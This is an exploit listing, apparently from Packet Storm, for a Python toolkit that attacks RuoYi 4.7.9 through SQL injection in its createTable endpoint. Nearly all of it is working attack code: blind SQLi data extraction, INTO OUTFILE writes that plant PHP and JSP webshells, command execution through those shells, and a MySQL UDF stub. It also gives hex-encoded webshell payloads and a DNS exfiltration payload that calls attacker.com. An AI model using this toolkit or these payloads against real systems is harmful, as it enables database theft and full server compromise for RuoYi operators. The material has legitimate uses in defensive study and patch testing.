Lucene search
K

📄 RuoYi 4.7.9 Advanced SQL Injection Exploitation Toolkit

🗓️ 18 Feb 2026 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 151 Views

Ruoyi 4.7.9 injection toolkit with remote code execution on Java web apps via createTable endpoint.

Code
=============================================================================================================================================
    | # Title     : RuoYi 4.7.9 Advanced SQL Injection Exploitation Toolkit with RCE                                                            |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/yangzongzhuan/RuoYi                                                                                      |
    =============================================================================================================================================
    
    [+] Summary    : This Python script is a sophisticated SQL injection exploitation tool that targets Java web applications (specifically RuoYi framework), 
                     with additional Remote Code Execution (RCE) capabilities. The tool performs blind SQL injection attacks and includes multiple methods for escalating SQLi to full system compromise
    
    [+] Technical Details:
    
        Attack Vector: SQL injection in table creation endpoint (/tool/gen/createTable)
    
        Injection Technique: Boolean-based blind with error-based fallback
    
        Database: MySQL (uses MySQL-specific functions and syntax)
    
        Payload Types: CREATE TABLE statements with conditional subqueries
    
        Exploitation Chain: SQLi → File Write → Webshell → RCE
    	
    [+] POC : python poc.py
    
    import requests
    import argparse
    import random
    from concurrent.futures import ThreadPoolExecutor
    from string import printable, ascii_lowercase, digits
    from urllib3 import disable_warnings
    disable_warnings()
    
    
    PROXY_ENABLED = True
    PROXY = {
        'http': 'http://127.0.0.1:8080',
        'https': 'http://127.0.0.1:8080'
    } if PROXY_ENABLED else {}
    CHARSET = printable
    
    def send_request(payload):
        global counter
        cookies = {
            'JSESSIONID': cookie,
        }
        headers = {
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        data = f"sql={payload}"
        resp = requests.post(url=url+'/tool/gen/createTable', data=data, cookies=cookies, headers=headers, verify=False, proxies=PROXY)
        counter += 1
        if "Operation successful" in resp.text:
            return True
        return False
    
    def get_length_payload(value):
        tablename = f"{random_string}_{counter}"
        payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(length(%40%40version)%3d{value}%2c%201%2c%201%2f0)%3b"
        return payload
    
    def get_length():
        for length in range(100):
            payload = get_length_payload(length)
            if send_request(payload=payload):
                print(f'Data has {length} characters')
                return length
        return 0
    
    def get_payload(location, value:int):
        tablename = f"{random_string}_{counter}"
        payload = f"CREATE%20table%20{tablename}%20as%20SELECT%0b111%20FROM%20sys_job%20WHERE%201%3d0%20AND%0bIF(ascii(substring((select%0b%40%40version)%2c{location}%2c1))%3d{value}%2c%201%2c%201%2f0)%3b"
        return payload
    
    def get_char(location):
        for char in CHARSET:
            payload = get_payload(location=location, value=ord(char))
            if send_request(payload=payload):
                print(f'Found character {char} at location {location}')
                return char
        return 'None'
    
    def get_data():
        length = get_length()
        with ThreadPoolExecutor(max_workers=20) as tpe:
            res_iter = tpe.map(get_char, range(1, length+1))
        return ''.join(res_iter)
    
    def test_file_write():
        """Testing file writing capabilities"""
        test_paths = [
            '/tmp/test_rce.txt',
            '/var/www/html/test.php',
            'C:\\Windows\\Temp\\test.txt',
            'C:\\inetpub\\wwwroot\\test.php'
        ]
        
        for path in test_paths:
            clean_path = path.replace(' ', '')
            tablename = f"{random_string}_rce_test"
            payload = f"CREATE%20table%20{tablename}%20as%20SELECT%20'<?php%20phpinfo();%20?>'%20INTO%20OUTFILE%20'{clean_path}'"
            
            print(f"[*] Testing file write to: {clean_path}")
            if send_request(payload):
                print(f"[+] File write Possible success to: {clean_path}")
                return clean_path
        
        return None
    
    def execute_system_command(cmd):
        """Executing a system command using INTO OUTFILE و UDF"""
    
        webshell_path = '/var/www/html/shell.php'
    
        import base64
        cmd_b64 = base64.b64encode(cmd.encode()).decode()
        
        php_shell = f'''<?php
        if(isset($_GET['cmd'])) {{
            $cmd = base64_decode($_GET['cmd']);
            echo "<pre>";
            system($cmd);
            echo "</pre>";
        }}
        ?>'''
        
        tablename = f"{random_string}_webshell"
        payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_shell.encode().hex()}%20INTO%20OUTFILE%20'{webshell_path}'"
        
        if send_request(payload):
            print(f"[+] Webshell written to: {webshell_path}")
            try:
                shell_url = f"{url}/shell.php?cmd={cmd_b64}"
                resp = requests.get(shell_url, verify=False, proxies=PROXY)
                if resp.status_code == 200:
                    print("[+] Command output:")
                    print(resp.text[:500]) 
                    return resp.text
            except:
                pass
        
        return None
    
    def mysql_udf_rce():
        """RCE Using MySQL UDF"""
        print("[*] Attempting MySQL UDF RCE...")
    
        tablename = f"{random_string}_plugin_dir"
        payload = f"CREATE%20table%20{tablename}%20as%20SELECT%20@@plugin_dir"
        
        if send_request(payload):
    
            plugin_dir = "/usr/lib/mysql/plugin/"  
    
            udf_payload = '''
            #include <stdio.h>
            #include <stdlib.h>
            
            enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};
            typedef struct st_udf_args {
                unsigned int arg_count;
                enum Item_result *arg_type;
                char **args;
                unsigned long *lengths;
                char *maybe_null;
            } UDF_ARGS;
            
            typedef struct st_udf_init {
                char maybe_null;
                unsigned int decimals;
                unsigned long max_length;
                char *ptr;
                char const_item;
            } UDF_INIT;
            
            int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) {
                if (args->arg_count != 1)
                    return 0;
                system(args->args[0]);
                return 0;
            }
            '''
            
    
        return False
    
    def java_jsp_shell():
        """Writing JSP shells for Java applications"""
        jsp_shell = '''<%@ page import="java.util.*,java.io.*"%>
    <%
    if (request.getParameter("cmd") != null) {
        Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
        OutputStream os = p.getOutputStream();
        InputStream in = p.getInputStream();
        DataInputStream dis = new DataInputStream(in);
        String disr = dis.readLine();
        while ( disr != null ) {
            out.println(disr);
            disr = dis.readLine();
        }
    }
    %>
    <form method="post">
    CMD: <input type="text" name="cmd" size="50">
    <input type="submit">
    </form>'''
    
        jsp_paths = [
            '/opt/tomcat/webapps/ROOT/cmd.jsp',
            '/usr/local/tomcat/webapps/ROOT/shell.jsp',
            'C:\\Program Files\\Apache Software Foundation\\Tomcat\\webapps\\ROOT\\cmd.jsp'
        ]
        
        for path in jsp_paths:
            tablename = f"{random_string}_jspshell"
            payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{jsp_shell.encode().hex()}%20INTO%20OUTFILE%20'{path}'"
            
            if send_request(payload):
                print(f"[+] JSP shell written to: {path}")
                return path
        
        return None
    
    def rce_menu():
        """RCE Options List"""
        print("\n" + "="*50)
        print("RCE Exploitation Menu")
        print("="*50)
        print("1. Test file write capability")
        print("2. Write PHP webshell")
        print("3. Write JSP shell (Java)")
        print("4. Execute system command")
        print("5. Automated RCE chain")
        print("6. Back to main menu")
        
        choice = input("\nSelect option: ")
        
        if choice == "1":
            path = test_file_write()
            if path:
                print(f"[+] File write successful to: {path}")
            else:
                print("[-] File write failed")
        
        elif choice == "2":
            webshell_path = '/var/www/html/cmd.php'
            php_code = '<?php system($_GET["cmd"]); ?>'
            
            tablename = f"{random_string}_phpws"
            payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_code.encode().hex()}%20INTO%20OUTFILE%20'{webshell_path}'"
            
            if send_request(payload):
                print(f"[+] PHP webshell written to: {webshell_path}")
                print(f"[+] Access at: {url}/cmd.php?cmd=id")
            else:
                print("[-] Failed to write webshell")
        
        elif choice == "3":
            path = java_jsp_shell()
            if path:
                print(f"[+] Access shell at: {url}/shell.jsp")
        
        elif choice == "4":
            cmd = input("Enter command to execute: ")
            result = execute_system_command(cmd)
            if not result:
                print("[-] Command execution failed")
        
        elif choice == "5":
            print("[*] Running automated RCE chain...")
            print("[*] Step 1: Testing file write...")
            write_path = test_file_write()
            
            if write_path:
                print(f"[+] Can write to: {write_path}")
                print("[*] Step 2: Writing webshell...")
                
                if '.php' in write_path:
                    php_code = '<?php echo shell_exec($_GET["cmd"]); ?>'
                    tablename = f"{random_string}_auto"
                    payload = f"CREATE%20table%20{tablename}%20as%20SELECT%200x{php_code.encode().hex()}%20INTO%20OUTFILE%20'{write_path}'"
                    
                    if send_request(payload):
                        print(f"[+] Webshell written successfully!")
                        print(f"[+] Test with: {url}/{'cmd.php' if 'cmd.php' in write_path else write_path.split('/')[-1]}?cmd=id")
                
                elif '.jsp' in write_path:
                    java_jsp_shell()
            else:
                print("[-] Automated chain failed at step 1")
    
    def init():
        parser = argparse.ArgumentParser(description='SQLi PoC with RCE')
        parser.add_argument('-u','--url',help='Target url', required=True, type=str)
        parser.add_argument('-c','--cookie',help='JSESSIONID cookie value', required=True, type=str)
        parser.add_argument('--rce', help='Enable RCE mode', action='store_true')
        return parser.parse_args()
    
    if __name__ == '__main__':
        args = init()
        url = args.url
        cookie = args.cookie
        counter = 0
        random_string = ''.join(random.choices(ascii_lowercase + digits, k=6))
        
        if args.rce:
            rce_menu()
        else:
            print('Data: ', get_data())
    		
    Additional RCE Loading Options:
    
    1. Direct Webshell Writing:
    
    
    
    # PHP Webshell
    
    payload = "CREATE%20table%20test%20as%20SELECT%200x3c3f7068702073797374656d28245f4745545b2763275d293b203f3e%20INTO%20OUTFILE%20'/var/www/html/shell.php'"
    
    # JSP Webshell
    
    payload = "CREATE%20table%20test%20as%20SELECT%200x3c25406672616765207061676520696d706f72743d226a6176612e696f2e2a2c 6a6176612e7574696c2e2a22253e3c25696628726571756573742e676574506172616d657465722822632229213d6e756c6c297b5 0726f6365737320703d52756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d65 7465722822632229293b42756666657265645265616465722062693d6e6577204275666665726564526561646572286e657720496e 70757453747265616d52656164657228702e676574496e70757453747265616d282929293b537472696e67206c696e653b7768696 c6528286c696e653d62692e726561644c696e65282929213d6e756c6c297b6f75742e7072696e746c6e286c696e65293b7d7d253e 3c666f726d206d6574686f643d22504f5354223e3c696e70757420747970653d227465787422206e616d653d2263223e3c696e70757420747970653d227375626d6974223e3c2f666f726d3e%20INTO%20OUTFILE%20'/opt/tomcat/webapps/ROOT/cmd.jsp'"
    
    2. Executing actions via DNS extraction:
    
    payload = "CREATE%20table%20test%20as%20SELECT%20LOAD_FILE(CONCAT('\\\\\\\\',(SELECT%20@@version),'.attacker.com\\\\test'))"
    
    3. Using an external XML entity:
    
    payload = "CREATE%20table%20test%20as%20SELECT%20EXTRACTVALUE(1,CONCAT(0x7e,(SELECT%20@@version),0x7e))"
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation